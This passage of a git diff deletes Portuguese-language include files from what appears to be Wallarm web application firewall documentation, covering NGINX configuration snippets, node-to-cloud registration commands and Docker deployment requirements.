`client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Detecção dupla de ataques com **libdetection**][enable-libdetection-docs] \ No newline at end of file diff --git a/include-pt-BR/waf/installation/common-customization-options-4.4.md b/include-pt-BR/waf/installation/common-customization-options-4.4.md deleted file mode 100644 index d1d59e0979..0000000000 --- a/include-pt-BR/waf/installation/common-customization-options-4.4.md +++ /dev/null @@ -1,8 +0,0 @@ -Opções comuns de personalização: - -* [Configuração do modo de filtragem][waf-mode-instr] -* [Registro das variáveis do nó Wallarm][logging-instr] -* [Usando o balanceador do servidor proxy atrás do nó de filtragem][proxy-balancer-instr] -* [Limitando o tempo de processamento de uma única solicitação na diretiva `wallarm_process_time_limit`][process-time-limit-instr] -* [Limitando o tempo de espera da resposta do servidor na diretiva NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Limitando o tamanho máximo da solicitação na diretiva NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) \ No newline at end of file diff --git a/include-pt-BR/waf/installation/common-customization-options-docker-216.md b/include-pt-BR/waf/installation/common-customization-options-docker-216.md deleted file mode 100644 index 68b73d1fc1..0000000000 --- a/include-pt-BR/waf/installation/common-customization-options-docker-216.md +++ /dev/null @@ -1,7 +0,0 @@ -* [Configuração do modo de filtragem][waf-mode-instr] -* [Logando as variáveis do nó Wallarm][logging-instr] -* [Adicionando endereços do Scanner Wallarm à lista de permissões no modo de filtragem `block`][scanner-allowlisting-instr] -* [Limitando o tempo de processamento de uma única solicitação na diretiva `wallarm_process_time_limit`][process-time-limit-instr] -* [Limitando o tempo de espera da resposta do servidor na diretiva NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Limitando o tamanho máximo da solicitação na diretiva NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Dupla detecção de ataques com **libdetection**][enable-libdetection-docs] \ No newline at end of file diff --git a/include-pt-BR/waf/installation/common-customization-options-docker-4.4.md b/include-pt-BR/waf/installation/common-customization-options-docker-4.4.md deleted file mode 100644 index 7b341cbe22..0000000000 --- a/include-pt-BR/waf/installation/common-customization-options-docker-4.4.md +++ /dev/null @@ -1,5 +0,0 @@ -* [Configuração do modo de filtragem][waf-mode-instr] -* [Registro de variáveis do nó Wallarm][logging-instr] -* [Limitando o tempo de processamento de uma única solicitação na diretiva `wallarm_process_time_limit`][process-time-limit-instr] -* [Limitando o tempo de espera da resposta do servidor na diretiva NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Limitando o tamanho máximo da solicitação na diretiva NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) \ No newline at end of file diff --git a/include-pt-BR/waf/installation/common-customization-options-docker.md b/include-pt-BR/waf/installation/common-customization-options-docker.md deleted file mode 100644 index 64a3fc52ba..0000000000 --- a/include-pt-BR/waf/installation/common-customization-options-docker.md +++ /dev/null @@ -1,6 +0,0 @@ -* [Configuração do modo de filtragem][waf-mode-instr] -* [Registrando variáveis do nó Wallarm][logging-instr] -* [Limitando o tempo de processamento de uma única solicitação na diretiva `wallarm_process_time_limit`][process-time-limit-instr] -* [Limitando o tempo de espera da resposta do servidor na diretiva NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Limitando o tamanho máximo da solicitação na diretiva NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Duplicação da detecção de ataques com **libdetection**][enable-libdetection-docs] \ No newline at end of file diff --git a/include-pt-BR/waf/installation/common-customization-options-nginx-216.md b/include-pt-BR/waf/installation/common-customization-options-nginx-216.md deleted file mode 100644 index 04bb227ab9..0000000000 --- a/include-pt-BR/waf/installation/common-customization-options-nginx-216.md +++ /dev/null @@ -1,11 +0,0 @@ -Opções comuns de personalização: - -* [Configuração do modo de filtragem][waf-mode-instr] -* [Registrando variáveis do nó Wallarm][logging-instr] -* [Usando o balanceador do servidor proxy atrás do nó de filtragem][proxy-balancer-instr] -* [Adicionando endereços do Scanner Wallarm à lista de permissões no modo de filtragem `block`][scanner-allowlisting-instr] -* [Limitando o tempo de processamento de uma única solicitação na diretiva `wallarm_process_time_limit`][process-time-limit-instr] -* [Limitando o tempo de espera da resposta do servidor na diretiva NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Limitando o tamanho máximo da solicitação na diretiva NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Configurando a resolução de DNS dinâmico no NGINX][dynamic-dns-resolution-nginx] -* [Dupla detecção de ataques com **libdetection**][enable-libdetection-docs] \ No newline at end of file diff --git a/include-pt-BR/waf/installation/common-customization-options-nginx-4.4.md b/include-pt-BR/waf/installation/common-customization-options-nginx-4.4.md deleted file mode 100644 index f940f1c730..0000000000 --- a/include-pt-BR/waf/installation/common-customization-options-nginx-4.4.md +++ /dev/null @@ -1,9 +0,0 @@ -Opções comuns de personalização: - -* [Configuração do modo de filtragem][waf-mode-instr] -* [Logando variáveis do nó Wallarm][logging-instr] -* [Usando o balanceador do servidor proxy atrás do nó de filtragem][proxy-balancer-instr] -* [Limitando o tempo de processamento de uma única requisição na diretiva `wallarm_process_time_limit`][process-time-limit-instr] -* [Limitando o tempo de espera da resposta do servidor na diretiva NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Limitando o tamanho máximo da solicitação na diretiva NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Configurando a resolução de DNS dinâmico no NGINX][dynamic-dns-resolution-nginx] \ No newline at end of file diff --git a/include-pt-BR/waf/installation/common-customization-options-nginx.md b/include-pt-BR/waf/installation/common-customization-options-nginx.md deleted file mode 100644 index 939eb5f014..0000000000 --- a/include-pt-BR/waf/installation/common-customization-options-nginx.md +++ /dev/null @@ -1,10 +0,0 @@ -Opções comuns de personalização: - -* [Configuração do modo de filtragem][waf-mode-instr] -* [Registro de variáveis do nó Wallarm][logging-instr] -* [Usando o balanceador do servidor proxy atrás do nó de filtragem][proxy-balancer-instr] -* [Limitando o tempo de processamento de uma única solicitação na diretiva `wallarm_process_time_limit`][process-time-limit-instr] -* [Limitando o tempo de espera da resposta do servidor na diretiva NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Limitando o tamanho máximo da solicitação na diretiva NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Configurando a resolução dinâmica de DNS no NGINX][dynamic-dns-resolution-nginx] -* [Detecção dupla de ataques com **libdetection**][enable-libdetection-docs] \ No newline at end of file diff --git a/include-pt-BR/waf/installation/common-customization-options.md b/include-pt-BR/waf/installation/common-customization-options.md deleted file mode 100644 index 57446fe1f9..0000000000 --- a/include-pt-BR/waf/installation/common-customization-options.md +++ /dev/null @@ -1,9 +0,0 @@ -Opções comuns de personalização: - -* [Configuração do modo de filtragem][waf-mode-instr] -* [Registro das variáveis do nó Wallarm][logging-instr] -* [Usando o balanceador do servidor proxy atrás do nó de filtragem][proxy-balancer-instr] -* [Limitando o tempo de processamento de uma única solicitação na diretiva `wallarm_process_time_limit`][process-time-limit-instr] -* [Limitando o tempo de espera da resposta do servidor na diretiva NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Limitando o tamanho máximo da solicitação na diretiva NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Dupla-deteção de ataques com **libdetection**][enable-libdetection-docs] \ No newline at end of file diff --git a/include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis-all-in-one.md b/include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis-all-in-one.md deleted file mode 100644 index 9113cd128f..0000000000 --- a/include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis-all-in-one.md +++ /dev/null @@ -1,68 +0,0 @@ -Por padrão, o nó Wallarm implantado não analisa o tráfego de entrada. - -Dependendo da abordagem de implantação Wallarm selecionada ([in-line][inline-docs] ou [Out-of-Band][oob-docs]), configure o Wallarm para intermediar o tráfego ou processar o espelho de tráfego. - -Realize a seguinte configuração no [arquivo de configuração](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) do NGINX na máquina com o nó instalado: - -=== "In-line" - 1. Defina um endereço IP para o Wallarm intermediar o tráfego legítimo. Pode ser um IP de uma instância de aplicativo, balanceador de carga ou nome DNS, etc., dependendo da sua arquitetura. - - Para fazer isso, edite o valor `proxy_pass`, por exemplo, o Wallarm deve enviar solicitações legítimas para `http://10.80.0.5`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` - 1. Para o nó Wallarm analisar o tráfego de entrada, defina a diretiva `wallarm_mode` para `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - O modo de monitoramento é o recomendado para a primeira implantação e teste de solução. O Wallarm também oferece modos seguros de bloqueio e bloqueio, [leia mais][waf-mode-instr]. - -=== "Out-of-Band" - 1. Para o nó Wallarm aceitar o tráfego espelhado, defina a seguinte configuração no bloco `server` do NGINX: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # Altere 222.222.222.22 para o endereço do servidor de espelhamento - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * As diretivas `set_real_ip_from` e `real_ip_header` são necessárias para que o Console Wallarm [exiba os endereços IP dos invasores][proxy-balancer-instr]. - * As diretivas `wallarm_force_response_*` são necessárias para desativar a análise de todas as solicitações, exceto para cópias recebidas do tráfego espelhado. - 1. Para o nó Wallarm analisar o tráfego espelhado, defina a diretiva `wallarm_mode` para `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - Como as solicitações maliciosas [não podem][oob-advantages-limitations] ser bloqueadas, o único [modo][waf-mode-instr] que o Wallarm aceita é o monitoramento. Para a implantação in-line, também existem modos de bloqueio seguro e bloqueio, mas mesmo se você definir a diretiva `wallarm_mode` para um valor diferente de monitoramento, o nó continua a monitorar o tráfego e a registrar apenas tráfego malicioso (além do modo configurado para desligado). \ No newline at end of file diff --git a/include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis-inline.md b/include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis-inline.md deleted file mode 100644 index 450dd6d135..0000000000 --- a/include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis-inline.md +++ /dev/null @@ -1,33 +0,0 @@ -Por padrão, o nó Wallarm implantado não analisa o tráfego recebido. Para iniciar a análise, configure o Wallarm para proxy de tráfego através do arquivo `/etc/nginx/conf.d/default.conf` na máquina com o nó instalado: - -1. Defina um endereço IP para o Wallarm ser proxy do tráfego legítimo. Pode ser um IP de uma instância de aplicativo, balanceador de carga, nome DNS, etc., dependendo da sua arquitetura. - - Para isso, edite o valor `proxy_pass`, por exemplo, o Wallarm deve enviar solicitações legítimas para `http://10.80.0.5`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` - -1. Para o nó Wallarm analisar o tráfego recebido, defina a diretiva `wallarm_mode` para `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - O modo de monitoramento é o recomendado para a primeira implantação e teste de solução. Wallarm oferece também modos seguros de bloqueio, [leia mais][waf-mode-instr]. diff --git a/include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis.md b/include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis.md deleted file mode 100644 index 8cdcd4c2b4..0000000000 --- a/include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis.md +++ /dev/null @@ -1,67 +0,0 @@ -Por padrão, o nó Wallarm implantado não analisa o tráfego de entrada. - -Dependendo da abordagem de implantação Wallarm selecionada ([in-line][inline-docs] ou [Out-of-Band][oob-docs]), configure o Wallarm para intermediar o tráfego ou processar o espelho de tráfego. - -Realize a seguinte configuração no arquivo `/etc/nginx/conf.d/default.conf` na máquina com o nó instalado: - -=== "In-line" - 1. Defina um endereço IP para o Wallarm intermediar o tráfego legítimo. Pode ser um IP de uma instância de aplicativo, balanceador de carga, nome DNS, etc., dependendo da sua arquitetura. - - Para fazer isso, edite o valor `proxy_pass`, por exemplo, o Wallarm deve enviar solicitações legítimas para `http://10.80.0.5`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` - 1. Para que o nó Wallarm analise o tráfego de entrada, defina a diretiva `wallarm_mode` como `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - O modo de monitoramento é o recomendado para a primeira implantação e teste de solução. O Wallarm também fornece modos de bloqueio seguro e bloqueio, [leia mais][waf-mode-instr]. -=== "Out-of-Band" - 1. Para que o nó Wallarm aceite tráfego espelhado, defina a seguinte configuração no bloco `server` do NGINX: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # Alterar 222.222.222.22 para o endereço do servidor de espelhamento - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * As diretivas `set_real_ip_from` e `real_ip_header` são necessárias para que o Console Wallarm [exiba os endereços IP dos atacantes][proxy-balancer-instr]. - * As diretivas `wallarm_force_response_*` são necessárias para desativar a análise de todas as solicitações, exceto as cópias recebidas do tráfego espelhado. - 1. Para o nó Wallarm analisar o tráfego espelhado, defina a diretiva `wallarm_mode` para `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - Como as solicitações maliciosas [não podem][oob-advantages-limitations] ser bloqueadas, o único [modo][waf-mode-instr] que o Wallarm aceita é o de monitoramento. Para implantação in-line, também existem modos seguros de bloqueio e bloqueio, mas mesmo que você defina a diretiva `wallarm_mode` para um valor diferente de monitoramento, o nó continua a monitorar o tráfego e apenas registrar o tráfego malicioso (exceto o modo definido como off). \ No newline at end of file diff --git a/include-pt-BR/waf/installation/connect-waf-and-cloud-4.0.md b/include-pt-BR/waf/installation/connect-waf-and-cloud-4.0.md deleted file mode 100644 index 07ee1ee099..0000000000 --- a/include-pt-BR/waf/installation/connect-waf-and-cloud-4.0.md +++ /dev/null @@ -1,31 +0,0 @@ -!!! info "Se o módulo de pós-análise estiver instalado em um servidor separado" - Se os módulos de processamento de tráfego inicial e de pós-análise estiverem instalados em servidores separados, é recomendado conectar esses módulos ao Wallarm Cloud usando o mesmo token de nó. A interface do usuário do Wallarm Console exibirá cada módulo como uma instância de nó separada, por exemplo: - - ![Nó com várias instâncias][img-node-with-several-instances] - - O nó Wallarm já foi criado durante a [instalação do módulo de pós-análise separado][install-postanalytics-instr]. Para conectar o módulo de processamento de tráfego inicial ao Cloud usando as mesmas credenciais do nó: - - 1. Copie o token do nó gerado durante a instalação do módulo de pós-análise separado. - 1. Prossiga para a 4ª etapa na lista abaixo. - -O nó Wallarm interage com o Wallarm Cloud. Para conectar o nó de filtragem ao Cloud: - -1. Abra o Console Wallarm → **Nós** na [US Cloud](https://us1.my.wallarm.com/nodes) ou na [EU Cloud](https://my.wallarm.com/nodes) e crie o nó do tipo **Wallarm node**. - - ![Criando nó Wallarm][img-create-wallarm-node] -1. Copie o token gerado. -1. Execute o script `register-node` em uma máquina onde você instala o nó de filtragem: - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - `` é o valor do token copiado. - - !!! info "Se o módulo de pós-análise estiver instalado em um servidor separado" - Se o módulo de pós-análise estiver instalado em um servidor separado, recomenda-se usar o token de nó gerado durante a [instalação do módulo de pós-análise separado][install-postanalytics-instr]. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/connect-waf-and-cloud-4.4-only-with-postanalytics.md b/include-pt-BR/waf/installation/connect-waf-and-cloud-4.4-only-with-postanalytics.md deleted file mode 100644 index 5852683aad..0000000000 --- a/include-pt-BR/waf/installation/connect-waf-and-cloud-4.4-only-with-postanalytics.md +++ /dev/null @@ -1,21 +0,0 @@ -O nó de filtragem interage com o Wallarm Cloud. Para conectar o nó ao Cloud: - -1. Abra o Console Wallarm → **Nós** no [Cloud dos EUA](https://us1.my.wallarm.com/nodes) ou [Cloud da UE](https://my.wallarm.com/nodes) e crie o nó do tipo **Nó Wallarm**. - - ![Criação do nó Wallarm][img-create-wallarm-node] -1. Copie o token gerado. -1. Execute o script `register-node` em uma máquina onde você instala o nó de filtragem: - - === "Cloud dos EUA" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "Cloud da UE" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - `` é o valor do token copiado. - - !!! info "Usando um token para várias instalações" - Você pode usar um token em várias instalações, independentemente da [plataforma][deployment-platform-docs] selecionada. Isso permite o agrupamento lógico de instâncias de nó na interface do usuário do Console Wallarm. Exemplo: você implantar vários nós Wallarm em um ambiente de desenvolvimento, cada nó está em sua própria máquina pertencente a um determinado desenvolvedor. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/connect-waf-and-cloud-4.4.md b/include-pt-BR/waf/installation/connect-waf-and-cloud-4.4.md deleted file mode 100644 index 7ba3b287fb..0000000000 --- a/include-pt-BR/waf/installation/connect-waf-and-cloud-4.4.md +++ /dev/null @@ -1,33 +0,0 @@ -O nó Wallarm interage com a nuvem Wallarm. Para conectar o nó de filtragem à nuvem: - -1. Se o [módulo postanalytics instalado separadamente][install-postanalytics-instr]: - - 1. Copie o token do nó gerado durante a instalação do módulo postanalytics separado. - 1. Prossiga para o 5º passo na lista abaixo. É **recomendado** usar um token para o nó processando o tráfego inicial e para o nó realizando a pós-análise. -1. Abra o Console Wallarm → **Nós** na [Nuvem dos EUA](https://us1.my.wallarm.com/nodes) ou [Nuvem da UE](https://my.wallarm.com/nodes) e crie o nó do tipo **nó Wallarm**. - - ![Criação de nó Wallarm][img-create-wallarm-node] -1. Copie o token gerado. -1. Execute o script `register-node` em uma máquina onde você instala o nó de filtragem: - - === "Nuvem dos EUA" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "Nuvem da UE" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - * `` é o valor do token copiado. - * Você pode adicionar o parâmetro `-n ` para definir um nome personalizado para a sua instância de nó. O nome final da instância será: `NOME_DO_HOST_NodeUUID`. - -!!! info "Usando um token para várias instalações" - Você pode conectar vários nós Wallarm à nuvem usando um token, independentemente da opção de implantação selecionada. Esta opção permite agrupar logicamente as instâncias de nó na interface de usuário do Console Wallarm: - - ![Nó com várias instâncias][img-node-with-several-instances] - - Abaixo estão alguns exemplos de quando você pode optar por usar um token para várias instalações: - - * Você implanta vários nós Wallarm em um ambiente de desenvolvimento, cada nó está em sua própria máquina de propriedade de um determinado desenvolvedor - * Os nós para processamento de tráfego inicial e módulos de pós-análise são instalados em servidores separados - é **recomendado** conectar esses módulos à nuvem Wallarm usando o mesmo token de nó \ No newline at end of file diff --git a/include-pt-BR/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md b/include-pt-BR/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md deleted file mode 100644 index 35fe8f9d40..0000000000 --- a/include-pt-BR/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md +++ /dev/null @@ -1,47 +0,0 @@ -O nó de filtragem da Wallarm interage com a Wallarm Cloud. Você precisa conectar o nó à Cloud. - -Ao conectar o nó à Cloud, você pode definir o nome do nó, sob o qual ele será exibido na UI do Console Wallarm e inserir o nó no **grupo de nós** adequado (usado para organizar logicamente os nós na UI). - -![Nós agrupados][img-grouped-nodes] - -Para conectar o nó à Cloud, use um token Wallarm do [tipo apropriado][wallarm-token-types]: - -=== "Token API" - - 1. Abra o Console Wallarm → **Configurações** → **Tokens API** na [Cloud US](https://us1.my.wallarm.com/settings/api-tokens) ou [Cloud EU](https://my.wallarm.com/settings/api-tokens). - 1. Encontre ou crie um token API com a função de origem `Deploy`. - 1. Copie este token. - 1. Execute o script `register-node` em uma máquina onde você instalará o nó de filtragem: - - === "Cloud US" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' -H us1.api.wallarm.com - ``` - === "Cloud EU" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' - ``` - - * `` é o valor copiado do token API com a função `Deploy`. - * O parâmetro `--labels 'group='` coloca o seu nó no grupo de nós `` (existente, ou, caso não exista, ele será criado). - -=== "Token do nó" - - 1. Abra o Console Wallarm → **Nós** na [Cloud US](https://us1.my.wallarm.com/nodes) ou [Cloud EU](https://my.wallarm.com/nodes). - 1. Faça uma das seguintes coisas: - * Crie o nó do tipo **Nó Wallarm** e copie o token gerado. - * Utilizar grupo de nós existente - copie o token usando o menu do nó → **Copiar token**. - 1. Execute o script `register-node` em uma máquina onde você instalará o nó de filtragem: - - === "Cloud US" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "Cloud EU" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - * `` é o valor copiado do token do nó. - -* Você pode adicionar o parâmetro `-n ` para definir um nome personalizado para a sua instância de nó. O nome final da instância será: `HOST_NAME_NodeUUID`. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/connect-waf-and-cloud-4.6.md b/include-pt-BR/waf/installation/connect-waf-and-cloud-4.6.md deleted file mode 100644 index 7d06a61667..0000000000 --- a/include-pt-BR/waf/installation/connect-waf-and-cloud-4.6.md +++ /dev/null @@ -1,47 +0,0 @@ -O nó de filtragem da Wallarm interage com o Wallarm Cloud. Você precisa conectar o nó à Nuvem. - -Ao conectar o nó à Nuvem, você pode definir o nome do nó, sob o qual ele será exibido na interface do usuário da Console Wallarm e colocar o nó no **grupo de nó** apropriado (usado para organizar logicamente os nós na interface do usuário). - -![Nós agrupados][img-grouped-nodes] - -Para conectar o nó à Nuvem, use um token Wallarm do [tipo apropriado][wallarm-token-types]: - -=== "Token de API" - - 1. Abra Wallarm Console → **Configurações** → **Tokens de API** na [Nuvem US](https://us1.my.wallarm.com/settings/api-tokens) ou [Nuvem EU](https://my.wallarm.com/settings/api-tokens). - 1. Encontre ou crie um token de API com o papel de origem `Deploy`. - 1. Copie este token. - 1. Execute o script `register-node` em uma máquina onde você instala o nó de filtragem: - - === "Nuvem US" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' -H us1.api.wallarm.com - ``` - === "Nuvem EU" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' - ``` - - * `` é o valor copiado do token de API com o papel `Deploy`. - * `--labels 'group='` o parâmetro coloca seu nó no grupo de nó `` (existente ou, se não existir, será criado). Se você está instalando módulos de filtragem e pós-analytics [separadamente][install-postanalytics-instr], recomenda-se colocá-los no mesmo grupo. - -=== "Token de nó" - - 1. Abra Wallarm Console → **Nós** na [Nuvem US](https://us1.my.wallarm.com/nodes) ou [Nuvem EU](https://my.wallarm.com/nodes). - 1. Faça uma das seguintes ações: - * Crie o nó do tipo **Nó Wallarm** e copie o token gerado. - * Use o grupo de nó existente - copie o token usando o menu do nó → **Copiar token**. - 1. Execute o script `register-node` em uma máquina onde você instala o nó de filtragem: - - === "Nuvem US" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "Nuvem EU" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - * `` é o valor copiado do token do nó. Se você está instalando módulos de filtragem e pós-analytica [separadamente][install-postanalytics-instr], recomenda-se colocá-los no mesmo grupo usando o mesmo token de nó. - -* Você pode adicionar o parâmetro `-n ` para definir um nome personalizado para sua instância de nó. O nome final da instância será: `HOST_NAME_NodeUUID`. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/connect-waf-and-cloud.md b/include-pt-BR/waf/installation/connect-waf-and-cloud.md deleted file mode 100644 index 96885a9e93..0000000000 --- a/include-pt-BR/waf/installation/connect-waf-and-cloud.md +++ /dev/null @@ -1,23 +0,0 @@ -O nó Wallarm interage com a Wallarm Cloud. Para conectar o nó de filtragem à Nuvem, siga as seguintes etapas: - -1. Certifique-se de que sua conta Wallarm possui a função **Administrador** ou **Implantar** ativada e a autenticação de dois fatores desativada no Console Wallarm. - - Você pode verificar as configurações mencionadas navegando até a lista de usuários no [US Cloud](https://us1.my.wallarm.com/settings/users) ou [EU Cloud](https://my.wallarm.com/settings/users). - - ![Lista de usuários no console Wallarm][img-wl-console-users] - -2. Execute o script `addnode` em um sistema com o nó Wallarm instalado: - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/addnode -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/addnode - ``` -3. Insira o email e a senha para sua conta no Console Wallarm. -4. Insira o nome do nó de filtragem ou clique em Enter para usar um nome gerado automaticamente. - - O nome especificado pode ser alterado no Console Wallarm → **Nós** mais tarde. -5. Abra a seção Console Wallarm → **Nós** na [US Cloud](https://us1.my.wallarm.com/nodes) ou [EU Cloud](https://my.wallarm.com/nodes) e verifique se um novo nó de filtragem foi adicionado à lista. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/docker-images/envoy-based-use-cases.md b/include-pt-BR/waf/installation/docker-images/envoy-based-use-cases.md deleted file mode 100644 index 21183a78c2..0000000000 --- a/include-pt-BR/waf/installation/docker-images/envoy-based-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Entre todas as [opções de implantação do Wallarm][supported-deployments] suportadas, a imagem Docker baseada em Envoy é recomendada para a implantação do Wallarm nestes **casos de uso**: - -* Se a sua organização utiliza infraestrutura baseada em Docker, a imagem Docker do Wallarm é a escolha ideal. Ela se integra sem esforços à sua configuração existente, seja você empregando uma arquitetura de microserviços rodando no AWS ECS, Alibaba ECS, ou outros serviços similares. Esta solução também se aplica àqueles que usam máquinas virtuais buscando um gerenciamento mais simplificado por meio de containers Docker. -* Se você necessita de um controle refinado sobre cada container, a imagem Docker se destaca. Ela oferece um maior nível de isolamento de recursos do que o habitualmente possível com implantações baseadas em VM tradicionais. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/docker-images/envoy-requirements.md b/include-pt-BR/waf/installation/docker-images/envoy-requirements.md deleted file mode 100644 index c95e107139..0000000000 --- a/include-pt-BR/waf/installation/docker-images/envoy-requirements.md +++ /dev/null @@ -1,7 +0,0 @@ -* [Docker](https://docs.docker.com/engine/install/) instalado no seu sistema de host -* Acesso a `https://hub.docker.com/r/wallarm/envoy` para baixar a imagem Docker. Certifique-se de que o acesso não esteja bloqueado por um firewall -* Acesso à conta com a função de **Administrador** no Console Wallarm na [Nuvem dos EUA](https://us1.my.wallarm.com/) ou na [Nuvem da UE](https://my.wallarm.com/) -* Acesso a `https://us1.api.wallarm.com` se estiver trabalhando com a Nuvem Wallarm dos EUA ou com `https://api.wallarm.com` se estiver trabalhando com a Nuvem Wallarm da UE. Certifique-se de que o acesso não esteja bloqueado por um firewall -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" diff --git a/include-pt-BR/waf/installation/docker-images/nginx-based-use-cases.md b/include-pt-BR/waf/installation/docker-images/nginx-based-use-cases.md deleted file mode 100644 index 46e2672660..0000000000 --- a/include-pt-BR/waf/installation/docker-images/nginx-based-use-cases.md +++ /dev/null @@ -1,6 +0,0 @@ -Dentre todas as [opções de implantação do Wallarm][platform] suportadas, a imagem Docker baseada em NGINX é recomendada para a implantação do Wallarm nestes **casos de uso**: - -* Se a sua organização utiliza uma infraestrutura baseada em Docker, a imagem Docker do Wallarm é a escolha ideal. Ela se integra facilmente à sua configuração existente, seja você empregando uma arquitetura de microserviço que está rodando em AWS ECS, Alibaba ECS, ou outros serviços semelhantes. Essa solução também se aplica àqueles que estão usando máquinas virtuais que buscam uma gestão mais simplificada através de contêineres Docker. -* Se você precisa de um controle refinado sobre cada contêiner, a imagem Docker se destaca. Ela oferece um nível maior de isolamento de recursos do que geralmente é possível com implantações baseadas em VM tradicionais. - -Para obter mais informações sobre como executar a imagem Docker do Wallarm baseada em NGINX em serviços populares de orquestração de contêineres na nuvem pública, consulte nossos guias: [AWS ECS][aws-ecs-docs], [GCP GCE][gcp-gce-docs], [Azure Container Instances][azure-container-docs], [Alibaba ECS][alibaba-ecs-docs]. diff --git a/include-pt-BR/waf/installation/docker-running-options.md b/include-pt-BR/waf/installation/docker-running-options.md deleted file mode 100644 index 3fab8b2990..0000000000 --- a/include-pt-BR/waf/installation/docker-running-options.md +++ /dev/null @@ -1,4 +0,0 @@ -Os parâmetros de configuração do nó de filtragem devem ser passados para o 